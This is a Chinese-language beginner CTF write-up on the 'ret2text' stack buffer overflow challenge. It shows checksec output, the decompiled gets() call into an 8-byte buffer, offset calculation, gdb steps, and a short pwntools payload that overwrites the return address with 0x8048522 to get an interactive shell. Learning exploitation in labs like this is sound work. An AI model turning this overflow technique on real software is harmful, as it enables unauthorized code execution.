zoukankan      html  css  js  c++  java
  • pwn之栈缓冲区溢出漏洞(入门)

    题目ret2text

    题目信息确认

    使用file命令查看文件类型

    root@CTF:/home/# file ret2text  
    ret2text: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=64894e1bcdc9d77d3d983e907eba2605dbf19103, with debug_info, not stripped
    

    使用checksec查看是否有保护

    root@CTF:/home/# checksec ret2text 
    [*] '/home/ret2text'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    

    使用ida查看内容

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      setbuf(stdin, 0);
      setbuf(stdout, 0);
      puts("Have you heard of buffer overflow?");
      vulnerable();
      puts("It seems that you know nothing about it ......");
      return 0;
    }
    

    setbuf(xxxx,0) 关闭缓冲区
    进入vulnerable()查看

    int vulnerable()
    {
      char buffer[8]; // [esp+8h] [ebp-10h]
    
      gets(buffer);
      return 0;
    }
    

    创建了一个8个字节的缓存,但是gets函数允许向buffer输入无限的内容。造成缓冲区溢出漏洞
    根据图

    由ida中的注释 char buffer[8]; // [esp+8h] [ebp-10h] 可以知道 这个buffer距离esp8个字符,距离ebp -16个字符(10h是16进制的10)
    而ebp永远指向 stack frame pointer 。那么就需要溢出16个字节

    动态调试

    使用动态调试工具确认溢出长度
    gdb xxx 进入调试魔术xxx是指需要动态调试的文件
    run 直接运行(一般在run之前使用断点)
    b *地址 或者 b main
    使用 next 进行断点前进。可以观察一步步的运行结果
    使用 s 进入某个具体的函数
    或者使用 stack 24 查看24项stack

    payload制作

    使用 from pwn import * 导入所有pwn需要的工具
    使用 io=process("./ret2text") 打开进程访问链接
    覆盖数据
    [ebp-10h] 一共16个字符。
    覆盖 return 4个字符
    修改返回地址使用p32(0x8048522)
    组成数据 payload=b'a'16+b'1'4+p32(0x8048522)
    使用 io.send(payload) 发送payload
    使用 io.interactive 创建交互式会话接口

  • 相关阅读:
    为什么表单中post接受数据是获取name值而不是id值
    YII2 定义页面提示
    yii相关手册文档
    使用后台程序的第一个表单Form
    使用后台程序的第一个程序hello word
    yii:高级应用程序搭建数据库的详细流程
    详细步骤教你安装yii高级应用程序和配置composer环境
    sys模块
    os
    time和datetime
  • 原文地址:https://www.cnblogs.com/limanman233/p/13747944.html
Copyright © 2011-2022 走看看